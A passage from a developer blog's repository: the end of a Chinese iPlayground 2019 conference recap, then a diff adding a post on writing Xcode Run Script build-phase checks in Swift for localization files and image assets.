之前寫過一篇「 動手做一支 Apple Watch App 吧! 」,是基於 watchOS 5 使用傳統方式;沒想到現在居然能用SwiftUI開發了! Apple Watch OS 6 是 1~5 代都支援,所以 比較沒有版本的問題 ,用手錶應用練習SwiftUI也是不錯的當出發點(相較簡化);再找時間來翻新。 p.s 只是沒想到 watchOS 的開發者也這麼邊緣QQ 我個人是覺得蠻好玩的,希望有更多人可以加入!

4. TinXie-易致及羊小咩兩位大大的 APP安全議題

關於 APP 本身的安全問題, 從未認真研究過,固有觀念就是「蘋果很封閉很安全!」;聽了兩位講者的演示之後覺得真是脆而不堅,也了解到 APP 安全本身的核心概念:

「當破解成本大於保護成本,APP就是安全的」

沒有保證安全的 APP,只有增加破解的難易度,勸退攻擊者!

還有收獲除了 Reveal 這個付費APP之外,還有開源免費的 Lookin 可以看 APP UI;Reveal 我們很常用;即使不看別人,看自己 Debug UI 問題也很方便!

另外 關於連線安全的部分 ,前幾天剛好發了一篇「 APP有用HTTPS傳輸,但資料還是被偷了。 」,使用 mitmproxy 這套免費軟體做中間人攻擊抽換 root ca ;經過講者講解 中間人攻擊、原理、防護方式,一方面也驗證我寫的內容正不正確,另一方面也更了解了這個手法的道理! 順便開了開眼界…知道有越獄插件可以直接攔截網路請求,連憑證抽換都不用。

5. 丁沛堯大大的 優化編譯速度

這也是一直以來苦惱我們的問題,編譯很慢;有時在 UI 微調時真的會抓狂,就只調個 1pt ,然後就要等,然後看到結果,然後再修正個 1pt ,然後再等,然後又調回去…while(true)….很抓狂的!

講者提到的嘗試、經驗分享,很值得回去研究用在自己的專案上!

還有很多議程(例如:色色的事A_A,之前也踩過顏色的雷)

但由於筆記較零散、個人沒有相關經驗或沒聽到該場次議程

所有內容可以等 iPlayground 2019 釋出錄影回放(有錄影的場次)、或參考官方的 HackMD 共筆筆記內容

軟性收穫

除了技術方面的收穫,我個人比去年更多的是「 軟性收穫 」,第一次跟 Ethan Huang 大大照了個面,在討論 Apple Watch 開發生態時無意間也跟貓神大大交流了幾句;另外也認識了許多新的開發者,同事 Frank 跟 George Liu 的同學 TaihsinSpock 薛Crystal LiuNia Fan 、 Alice 、 Ada ,老同學 Peter Chen 、老同事皓哥 邱鈺晧 …等等新朋友!

yes!

yes!

更多花絮可以到 Twitter #iplayground 查看

感謝

感謝所有工作人員的辛勞及講者的分享,才有這兩天收穫滿滿的活動!

辛苦了!謝謝!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

APP有用HTTPS傳輸,但資料還是被偷了。

小米智慧家居新添購

diff --git a/posts/41c49a75a743/index.html b/posts/41c49a75a743/index.html new file mode 100644 index 000000000..8973d9802 --- /dev/null +++ b/posts/41c49a75a743/index.html @@ -0,0 +1,1281 @@ + Xcode 直接使用 Swift 撰寫 Run Script! | ZhgChgLi
Home Xcode 直接使用 Swift 撰寫 Run Script!
Post
Cancel

Xcode 直接使用 Swift 撰寫 Run Script!

Xcode 直接使用 Swift 撰寫 Shell Script!

導入 Localization 多語系及 Image Assets 缺漏檢查、使用 Swift 打造 Shell Script 腳本

Photo by [Glenn Carstens-Peters](https://unsplash.com/@glenncarstenspeters?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Glenn Carstens-Peters

緣由

因為自己手殘,時常在編輯多語系檔案時遺漏「;」導致 app build 出來語言顯示出錯再加上隨著開發的推移語系檔案越來越龐大,重複的、已沒用到的語句都夾雜再一起,非常混亂(Image Assets 同樣狀況)。

一直以來都想找工具協助處理這方面的問題,之前是用 iOSLocalizationEditor 這個 Mac APP,但它比較像是語系檔案編輯器,讀取語系檔案內容&編輯,沒有自動檢查的功能。

期望功能

build 專案時能自動檢查多語系有無錯誤、缺露、重複、Image Assets 有無缺漏。

解決方案

要達到我們的期望功能就要在 Build Phases 加入 Run Script 檢查腳本。

但檢查腳本需要使用 shell script 撰寫,因自己對 shell script 的掌握度並不太高,想說站在巨人的肩膀上從網路搜尋現有腳本也找不太到完全符合期望功能的 script,再快要放棄的時候突然想到:

Shell Script 可以用 Swift 來寫啊

相對 shell script 來說更熟悉、掌握度更高!依照這個方向果然讓我找到兩個現有的工具腳本!

freshOS 這個團隊撰寫的兩個檢查工具:

完全符合我們的期望功能需求! ! 並且他們使用 swift 撰寫,要客製化魔改都很容易。

Localize 🏁 多語系檔檢查工具

功能:

  • build 時自動檢查
  • 語系檔自動排版、整理
  • 檢查多語系與主要語系之缺漏、多餘
  • 檢查多語系重複語句
  • 檢查多語系未經翻譯語句
  • 檢查多語系未使用的語句

安裝方法:

  1. 下載工具的 Swift Script 檔案
  2. 放到專案目錄下 EX: ${SRCROOT}/Localize.swift
  3. 打開專案設定 → iOS Target → Build Phases →左上角「+」 → New Run Script Phases → 在 Script 內容貼上路徑 EX: ${SRCROOT}/Localize.swift

4. 使用 Xcode 打開編輯 Localize.swift 檔案進行設定,可以在檔案上半部看到可更動的設定項目:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
//啟用檢查腳本
+let enabled = true
+
+//語系檔案目錄
+let relativeLocalizableFolders = "/Resources/Languages"
+
+//專案目錄(用來搜索語句有沒有在程式碼中使用到)
+let relativeSourceFolder = "/Sources"
+
+//程式碼中的 NSLocalized 語系檔案使用正規匹配表示法
+//可自行增加、無需變動
+let patterns = [
+    "NSLocalized(Format)?String\\(\\s*@?\"([\\w\\.]+)\"", // Swift and Objc Native
+    "Localizations\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\.[A-Z]{1}[a-z]*[A-z]*)*)", // Laurine Calls
+    "L10n.tr\\(key: \"(\\w+)\"", // SwiftGen generation
+    "ypLocalized\\(\"(.*)\"\\)",
+    "\"(.*)\".localized" // "key".localized pattern
+]
+
+//要忽略「語句未使用警告」的語句
+let ignoredFromUnusedKeys: [String] = []
+/* example
+let ignoredFromUnusedKeys = [
+    "NotificationNoOne",
+    "NotificationCommentPhoto",
+    "NotificationCommentHisPhoto",
+    "NotificationCommentHerPhoto"
+]
+*/
+
+//主要語系
+let masterLanguage = "en"
+
+//開啟與係檔案a-z排序、整理功能
+let sanitizeFiles = false
+
+//專案是單一or多語系
+let singleLanguage = false
+
+//啟用檢查未翻譯語句功能
+let checkForUntranslated = true
+

5. Build!成功!

檢查結果提示類型:

  • Build Error - [Duplication] 項目在語系檔案內存在重複 - [Unused Key] 項目在語系檔案內有定義,但實際程式中未使用到 - [Missing] 項目在語系檔案內未定義,但實際程式中有使用到 - [Redundant] 項目在此語系檔相較於主要語系檔是多餘的 - [Missing Translation] 項目在主要語系檔有,但在此語系檔缺漏
  • Build Warning ⚠️ - [Potentially Untranslated] 此項目未經翻譯(與主語系檔項目內容相同)

還沒結束,現在自動檢查提示有了,但我們還需要自行魔改一下。

客製化匹配正規表示:

回頭看檢查腳本 Localize.swift 頂部設定區塊 patterns 部分的第一項:

"NSLocalized(Format)?String\\(\\s*@?\"([\\w\\.]+)\""

匹配 Swift/ObjC的 NSLocalizedString() 方法,這個正規表示式只能匹配 "Home.Title" 這種格式的語句;假設我們是完整句子或有帶 Format 參數,則會被當誤當成 [Unused Key]。

EX: "Hi, %@ welcome to my app"、"Hello World!" <- 這些語句都無法匹配

我們可以新增一條 patterns 設定、或更改原本的 patterns 成:

"NSLocalized(Format)?String\\(\\s*@?\"([^(\")]+)\""

主要是調整 NSLocalizedString 方法後的匹配語句,變成取任意字串直到 " 出現就中止,你也可以 點此 依照自己的需求進行客製。

加上語系檔案格式檢查功能:

此腳本僅針對語系檔做內容對應檢查,不會檢查檔案格式是否正確(是否有忘記加「 ; 」),如果需要這個功能要自己加上!

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
//....
+let formatResult = shell("plutil -lint \(location)")
+guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == "OK" else {
+  let str = "\(path)/\(name).lproj"
+            + "/Localizable.strings:1: "
+            + "error: [File Invaild] "
+            + "This Localizable.strings file format is invalid."
+  print(str)
+  numberOfErrors += 1
+  return
+}
+//....
+
+func shell(_ command: String) -> String {
+    let task = Process()
+    let pipe = Pipe()
+
+    task.standardOutput = pipe
+    task.arguments = ["-c", command]
+    task.launchPath = "/bin/bash"
+    task.launch()
+
+    let data = pipe.fileHandleForReading.readDataToEndOfFile()
+    let output = String(data: data, encoding: .utf8)!
+
+    return output
+}
+

增加 shell() 執行 shell script,使用 plutil -lint 檢查 plist 語系檔案格式正確性,有錯、少「;」會回傳錯誤,沒錯會回傳 OK 以此作為判斷!

檢查的地方可加在 LocalizationFiles->process( ) -> let location = singleLanguage… 後,約 135 行的地方或參考我最後提供的完整魔改版。

其他客製化:

我們可以依照自己的需求進行客製,例如把 error 換成 warning 或是拔掉某個檢查功能 (EX: Potentially Untranslated、Unused Key);腳本就是 swift 我們都很熟悉!不怕改壞改錯!

要讓 build 時出現 Error ❌:

1
+
print("Project檔案.lproj" + "/檔案:行: " + "error: 錯誤訊息")
+

要讓 build 時出現 Warning ⚠️:

1
+
print("Project檔案.lproj" + "/檔案:行: " + "warning: 警告訊息")
+

最終魔改版:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+231
+232
+233
+234
+235
+236
+237
+238
+239
+240
+241
+242
+243
+244
+245
+246
+247
+248
+249
+250
+251
+252
+253
+254
+255
+256
+257
+258
+259
+260
+261
+262
+263
+264
+265
+266
+267
+268
+269
+270
+271
+272
+273
+274
+275
+276
+277
+278
+279
+280
+281
+282
+283
+284
+285
+286
+287
+288
+289
+290
+291
+292
+293
+294
+295
+296
+297
+298
+299
+300
+301
+302
+303
+304
+305
+306
+307
+308
+309
+310
+311
+312
+313
+314
+315
+316
+317
+318
+319
+320
+321
+322
+323
+324
+325
+326
+327
+328
+329
+330
+331
+332
+333
+334
+335
+336
+337
+338
+339
+340
+341
+342
+343
+344
+345
+346
+347
+348
+349
+350
+351
+352
+353
+354
+355
+356
+
#!/usr/bin/env xcrun --sdk macosx swift
+
+import Foundation
+
+// WHAT
+// 1. Find Missing keys in other Localisation files
+// 2. Find potentially untranslated keys
+// 3. Find Duplicate keys
+// 4. Find Unused keys and generate script to delete them all at once
+
+// MARK: Start Of Configurable Section
+
+/*
+ You can enable or disable the script whenever you want
+ */
+let enabled = true
+
+/*
+ Put your path here, example ->  Resources/Localizations/Languages
+ */
+let relativeLocalizableFolders = "/streetvoice/SupportingFiles"
+
+/*
+ This is the path of your source folder which will be used in searching
+ for the localization keys you actually use in your project
+ */
+let relativeSourceFolder = "/streetvoice"
+
+/*
+ Those are the regex patterns to recognize localizations.
+ */
+let patterns = [
+    "NSLocalized(Format)?String\\(\\s*@?\"([^(\")]+)\"", // Swift and Objc Native
+    "Localizations\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\.[A-Z]{1}[a-z]*[A-z]*)*)", // Laurine Calls
+    "L10n.tr\\(key: \"(\\w+)\"", // SwiftGen generation
+    "ypLocalized\\(\"(.*)\"\\)",
+    "\"(.*)\".localized" // "key".localized pattern
+]
+
+/*
+ Those are the keys you don't want to be recognized as "unused"
+ For instance, Keys that you concatenate will not be detected by the parsing
+ so you want to add them here in order not to create false positives :)
+ */
+let ignoredFromUnusedKeys: [String] = []
+/* example
+let ignoredFromUnusedKeys = [
+    "NotificationNoOne",
+    "NotificationCommentPhoto",
+    "NotificationCommentHisPhoto",
+    "NotificationCommentHerPhoto"
+]
+*/
+
+let masterLanguage = "base"
+
+/*
+ Sanitizing files will remove comments, empty lines and order your keys alphabetically.
+ */
+let sanitizeFiles = false
+
+/*
+ Determines if there are multiple localizations or not.
+ */
+let singleLanguage = false
+
+/*
+ Determines if we should show errors if there's a key within the app
+ that does not appear in master translations.
+*/
+let checkForUntranslated = false
+
+// MARK: End Of Configurable Section
+// MARK: -
+
+
+
+
+
+
+
+
+
+
+
+if enabled == false {
+    print("Localization check cancelled")
+    exit(000)
+}
+
+// Detect list of supported languages automatically
+func listSupportedLanguages() -> [String] {
+    var sl: [String] = []
+    let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders
+    if !FileManager.default.fileExists(atPath: path) {
+        print("Invalid configuration: \(path) does not exist.")
+        exit(1)
+    }
+    let enumerator = FileManager.default.enumerator(atPath: path)
+    let extensionName = "lproj"
+    print("Found these languages:")
+    while let element = enumerator?.nextObject() as? String {
+        if element.hasSuffix(extensionName) {
+            print(element)
+            let name = element.replacingOccurrences(of: ".\(extensionName)", with: "")
+            sl.append(name)
+        }
+    }
+    return sl
+}
+
+let supportedLanguages = listSupportedLanguages()
+var ignoredFromSameTranslation: [String: [String]] = [:]
+let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders
+var numberOfWarnings = 0
+var numberOfErrors = 0
+
+struct LocalizationFiles {
+    var name = ""
+    var keyValue: [String: String] = [:]
+    var linesNumbers: [String: Int] = [:]
+
+    init(name: String) {
+        self.name = name
+        process()
+    }
+
+    mutating func process() {
+        if sanitizeFiles {
+            removeCommentsFromFile()
+            removeEmptyLinesFromFile()
+            sortLinesAlphabetically()
+        }
+        let location = singleLanguage ? "\(path)/Localizable.strings" : "\(path)/\(name).lproj/Localizable.strings"
+        
+        let formatResult = shell("plutil -lint \(location)")
+        guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == "OK" else {
+            let str = "\(path)/\(name).lproj"
+                + "/Localizable.strings:1: "
+                + "error: [File Invaild] "
+                + "This Localizable.strings file format is invalid."
+            print(str)
+            numberOfErrors += 1
+            return
+        }
+        
+        guard let string = try? String(contentsOfFile: location, encoding: .utf8) else {
+            return
+        }
+
+        let lines = string.components(separatedBy: .newlines)
+        keyValue = [:]
+
+        let pattern = "\"(.*)\" = \"(.+)\";"
+        let regex = try? NSRegularExpression(pattern: pattern, options: [])
+        var ignoredTranslation: [String] = []
+
+        for (lineNumber, line) in lines.enumerated() {
+            let range = NSRange(location: 0, length: (line as NSString).length)
+
+            // Ignored pattern
+            let ignoredPattern = "\"(.*)\" = \"(.+)\"; *\\/\\/ *ignore-same-translation-warning"
+            let ignoredRegex = try? NSRegularExpression(pattern: ignoredPattern, options: [])
+            if let ignoredMatch = ignoredRegex?.firstMatch(in: line,
+                                                           options: [],
+                                                           range: range) {
+                let key = (line as NSString).substring(with: ignoredMatch.range(at: 1))
+                ignoredTranslation.append(key)
+            }
+
+            if let firstMatch = regex?.firstMatch(in: line, options: [], range: range) {
+                let key = (line as NSString).substring(with: firstMatch.range(at: 1))
+                let value = (line as NSString).substring(with: firstMatch.range(at: 2))
+
+                if keyValue[key] != nil {
+                    let str = "\(path)/\(name).lproj"
+                        + "/Localizable.strings:\(linesNumbers[key]!): "
+                        + "error: [Duplication] \"\(key)\" "
+                        + "is duplicated in \(name.uppercased()) file"
+                    print(str)
+                    numberOfErrors += 1
+                } else {
+                    keyValue[key] = value
+                    linesNumbers[key] = lineNumber + 1
+                }
+            }
+        }
+        print(ignoredFromSameTranslation)
+        ignoredFromSameTranslation[name] = ignoredTranslation
+    }
+
+    func rebuildFileString(from lines: [String]) -> String {
+        return lines.reduce("") { (r: String, s: String) -> String in
+            (r == "") ? (r + s) : (r + "\n" + s)
+        }
+    }
+
+    func removeEmptyLinesFromFile() {
+        let location = "\(path)/\(name).lproj/Localizable.strings"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            var lines = string.components(separatedBy: .newlines)
+            lines = lines.filter { $0.trimmingCharacters(in: .whitespaces) != "" }
+            let s = rebuildFileString(from: lines)
+            try? s.write(toFile: location, atomically: false, encoding: .utf8)
+        }
+    }
+
+    func removeCommentsFromFile() {
+        let location = "\(path)/\(name).lproj/Localizable.strings"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            var lines = string.components(separatedBy: .newlines)
+            lines = lines.filter { !$0.hasPrefix("//") }
+            let s = rebuildFileString(from: lines)
+            try? s.write(toFile: location, atomically: false, encoding: .utf8)
+        }
+    }
+
+    func sortLinesAlphabetically() {
+        let location = "\(path)/\(name).lproj/Localizable.strings"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            let lines = string.components(separatedBy: .newlines)
+
+            var s = ""
+            for (i, l) in sortAlphabetically(lines).enumerated() {
+                s += l
+                if i != lines.count - 1 {
+                    s += "\n"
+                }
+            }
+            try? s.write(toFile: location, atomically: false, encoding: .utf8)
+        }
+    }
+
+    func removeEmptyLinesFromLines(_ lines: [String]) -> [String] {
+        return lines.filter { $0.trimmingCharacters(in: .whitespaces) != "" }
+    }
+
+    func sortAlphabetically(_ lines: [String]) -> [String] {
+        return lines.sorted()
+    }
+}
+
+// MARK: - Load Localisation Files in memory
+
+let masterLocalizationFile = LocalizationFiles(name: masterLanguage)
+let localizationFiles = supportedLanguages
+    .filter { $0 != masterLanguage }
+    .map { LocalizationFiles(name: $0) }
+
+// MARK: - Detect Unused Keys
+
+let sourcesPath = FileManager.default.currentDirectoryPath + relativeSourceFolder
+let fileManager = FileManager.default
+let enumerator = fileManager.enumerator(atPath: sourcesPath)
+var localizedStrings: [String] = []
+while let swiftFileLocation = enumerator?.nextObject() as? String {
+    // checks the extension
+    if swiftFileLocation.hasSuffix(".swift") || swiftFileLocation.hasSuffix(".m") || swiftFileLocation.hasSuffix(".mm") {
+        let location = "\(sourcesPath)/\(swiftFileLocation)"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            for p in patterns {
+                let regex = try? NSRegularExpression(pattern: p, options: [])
+                let range = NSRange(location: 0, length: (string as NSString).length) // Obj c wa
+                regex?.enumerateMatches(in: string,
+                                        options: [],
+                                        range: range,
+                                        using: { result, _, _ in
+                                            if let r = result {
+                                                let value = (string as NSString).substring(with: r.range(at: r.numberOfRanges - 1))
+                                                localizedStrings.append(value)
+                                            }
+                })
+            }
+        }
+    }
+}
+
+var masterKeys = Set(masterLocalizationFile.keyValue.keys)
+let usedKeys = Set(localizedStrings)
+let ignored = Set(ignoredFromUnusedKeys)
+let unused = masterKeys.subtracting(usedKeys).subtracting(ignored)
+let untranslated = usedKeys.subtracting(masterKeys)
+
+// Here generate Xcode regex Find and replace script to remove dead keys all at once!
+var replaceCommand = "\"("
+var counter = 0
+for v in unused {
+    var str = "\(path)/\(masterLocalizationFile.name).lproj/Localizable.strings:\(masterLocalizationFile.linesNumbers[v]!): "
+    str += "error: [Unused Key] \"\(v)\" is never used"
+    print(str)
+    numberOfErrors += 1
+    if counter != 0 {
+        replaceCommand += "|"
+    }
+    replaceCommand += v
+    if counter == unused.count - 1 {
+        replaceCommand += ")\" = \".*\";"
+    }
+    counter += 1
+}
+
+print(replaceCommand)
+
+// MARK: - Compare each translation file against master (en)
+
+for file in localizationFiles {
+    for k in masterLocalizationFile.keyValue.keys {
+        if file.keyValue[k] == nil {
+            var str = "\(path)/\(file.name).lproj/Localizable.strings:\(masterLocalizationFile.linesNumbers[k]!): "
+            str += "error: [Missing] \"\(k)\" missing from \(file.name.uppercased()) file"
+            print(str)
+            numberOfErrors += 1
+        }
+    }
+
+    let redundantKeys = file.keyValue.keys.filter { !masterLocalizationFile.keyValue.keys.contains($0) }
+
+    for k in redundantKeys {
+        let str = "\(path)/\(file.name).lproj/Localizable.strings:\(file.linesNumbers[k]!): "
+            + "error: [Redundant key] \"\(k)\" redundant in \(file.name.uppercased()) file"
+
+        print(str)
+    }
+}
+
+if checkForUntranslated {
+    for key in untranslated {
+        var str = "\(path)/\(masterLocalizationFile.name).lproj/Localizable.strings:1: "
+        str += "error: [Missing Translation] \(key) is not translated"
+
+        print(str)
+        numberOfErrors += 1
+    }
+}
+
+print("Number of warnings : \(numberOfWarnings)")
+print("Number of errors : \(numberOfErrors)")
+
+if numberOfErrors > 0 {
+    exit(1)
+}
+
+func shell(_ command: String) -> String {
+    let task = Process()
+    let pipe = Pipe()
+
+    task.standardOutput = pipe
+    task.arguments = ["-c", command]
+    task.launchPath = "/bin/bash"
+    task.launch()
+
+    let data = pipe.fileHandleForReading.readDataToEndOfFile()
+    let output = String(data: data, encoding: .utf8)!
+
+    return output
+}
+

最後最後,還沒結束!

當我們的 swift 檢查工具腳本都調試完成之後,要將其 compile 成執行檔減少 build 花費時間 ,否則每次 build 都要重新 compile 一次(約能減少 90% 的時間)。

打開 terminal ,前往專案中檢查工具腳本所在目錄下執行:

1
+
swiftc -o Localize Localize.swift
+

然後再回頭到 Build Phases 更改 Script 內容路徑成執行檔

EX: ${SRCROOT}/Localize

完工!

工具 2. Asset Checker 👮 圖片資源檢查工具

功能:

  • build 時自動檢查
  • 檢查圖片缺漏:名稱有呼叫,但圖片資源目錄內沒有出現
  • 檢查圖片多餘:名稱未使用,但圖片資源目錄存在的

安裝方法:

  1. 下載工具的 Swift Script 檔案
  2. 放到專案目錄下 EX: ${SRCROOT}/AssetChecker.swift
  3. 打開專案設定 → iOS Target → Build Phases →左上角「+」 → New Run Script Phases → 在 Script 內容貼上路徑
1
+2
+
${SRCROOT}/AssetChecker.swift ${SRCROOT}/專案目錄 ${SRCROOT}/Resources/Images.xcassets
+//${SRCROOT}/Resources/Images.xcassets = 你 .xcassets 的位置
+

可直接將設定參數帶在路徑上,參數1:專案目錄位置、參數2:圖片資源目錄位置;或跟語系檢查工具一樣編輯 AssetChecker.swift 頂部參數設定區塊:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
// Configure me \o/
+
+// 專案目錄位置(用來搜索圖片有沒有在程式碼中使用到)
+var sourcePathOption:String? = nil
+
+// .xcassets 目錄位置
+var assetCatalogPathOption:String? = nil
+
+// Unused 警告忽略項目
+let ignoredUnusedNames = [String]()
+

4. Build! 成功!

檢查結果提示類型:

  • Build Error - [Asset Missing] 項目在程式內有呼叫使用,但圖片資源目錄內沒有出現
  • Build Warning ⚠️ - [Asset Unused] 項目在程式內未使用,但圖片資源目錄內有出現 p.s 假設圖片是動態變數提供,檢查工具將無法識別,可將其加入 ignoredUnusedNames 中設為例外。

其他操作同語系檢查工具,這邊就不做贅述;最重要的事是也要 記得調適完後要 compile 成執行檔,並更改 run script 內容為執行檔!

開發自己的工具!

我們可以參考圖片資源檢查工具腳本:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+
#!/usr/bin/env xcrun --sdk macosx swift
+
+import Foundation
+
+// Configure me \o/
+var sourcePathOption:String? = nil
+var assetCatalogPathOption:String? = nil
+let ignoredUnusedNames = [String]()
+
+for (index, arg) in CommandLine.arguments.enumerated() {
+    switch index {
+    case 1:
+        sourcePathOption = arg
+    case 2:
+        assetCatalogPathOption = arg
+    default:
+        break
+    }
+}
+
+guard let sourcePath = sourcePathOption else {
+    print("AssetChecker:: error: Source path was missing!")
+    exit(0)
+}
+
+guard let assetCatalogAbsolutePath = assetCatalogPathOption else {
+    print("AssetChecker:: error: Asset Catalog path was missing!")
+    exit(0)
+}
+
+print("Searching sources in \(sourcePath) for assets in \(assetCatalogAbsolutePath)")
+
+/* Put here the asset generating false positives, 
+ For instance whne you build asset names at runtime
+let ignoredUnusedNames = [
+    "IconArticle",
+    "IconMedia",
+    "voteEN",
+    "voteES",
+    "voteFR"
+] 
+*/
+
+
+// MARK : - End Of Configurable Section
+func elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] {
+    var elements = [String]()
+    while let e = enumerator?.nextObject() as? String {
+        elements.append(e)
+    }
+    return elements
+}
+
+
+// MARK: - List Assets
+func listAssets() -> [String] {
+    let extensionName = "imageset"
+    let enumerator = FileManager.default.enumerator(atPath: assetCatalogAbsolutePath)
+    return elementsInEnumerator(enumerator)
+        .filter { $0.hasSuffix(extensionName) }                             // Is Asset
+        .map { $0.replacingOccurrences(of: ".\(extensionName)", with: "") } // Remove extension
+        .map { $0.components(separatedBy: "/").last ?? $0 }                 // Remove folder path
+}
+
+
+// MARK: - List Used Assets in the codebase
+func localizedStrings(inStringFile: String) -> [String] {
+    var localizedStrings = [String]()
+    let namePattern = "([\\w-]+)"
+    let patterns = [
+        "#imageLiteral\\(resourceName: \"\(namePattern)\"\\)", // Image Literal
+        "UIImage\\(named:\\s*\"\(namePattern)\"\\)", // Default UIImage call (Swift)
+        "UIImage imageNamed:\\s*\\@\"\(namePattern)\"", // Default UIImage call 
+        "\\<image name=\"\(namePattern)\".*", // Storyboard resources
+        "R.image.\(namePattern)\\(\\)" //R.swift support
+    ]
+    for p in patterns {
+        let regex = try? NSRegularExpression(pattern: p, options: [])
+        let range = NSRange(location:0, length:(inStringFile as NSString).length)
+        regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in
+            if let r = result {
+                let value = (inStringFile as NSString).substring(with:r.range(at: 1))
+                localizedStrings.append(value)
+            }
+        }
+    }
+    return localizedStrings
+}
+
+func listUsedAssetLiterals() -> [String] {
+    let enumerator = FileManager.default.enumerator(atPath:sourcePath)
+    print(sourcePath)
+    
+    #if swift(>=4.1)
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .compactMap{$0}
+            .compactMap{$0}                                             // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings ocurrences
+            .flatMap{$0}                                                // Flatten
+    #else
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .flatMap{$0}
+            .flatMap{$0}                                                // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings ocurrences
+            .flatMap{$0}                                                // Flatten
+    #endif
+}
+
+
+// MARK: - Begining of script
+let assets = Set(listAssets())
+let used = Set(listUsedAssetLiterals() + ignoredUnusedNames)
+
+
+// Generate Warnings for Unused Assets
+let unused = assets.subtracting(used)
+unused.forEach { print("\(assetCatalogAbsolutePath):: warning: [Asset Unused] \($0)") }
+
+
+// Generate Error for broken Assets
+let broken = used.subtracting(assets)
+broken.forEach { print("\(assetCatalogAbsolutePath):: error: [Asset Missing] \($0)") }
+
+if broken.count > 0 {
+    exit(1)
+}
+

相較於語系檢查腳本,這個腳本簡潔且重要的功能都有,很有參考價值!

P.S 可以看到程式碼出現 localizedStrings() 命名,懷疑作者是從語系檢查工具的邏輯搬來用,忘了改方法名稱XD

例如:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
for (index, arg) in CommandLine.arguments.enumerated() {
+    switch index {
+    case 1:
+        //參數1
+    case 2:
+        //參數2
+    default:
+        break
+    }
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+
func elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] {
+    var elements = [String]()
+    while let e = enumerator?.nextObject() as? String {
+        elements.append(e)
+    }
+    return elements
+}
+
+func localizedStrings(inStringFile: String) -> [String] {
+    var localizedStrings = [String]()
+    let namePattern = "([\\w-]+)"
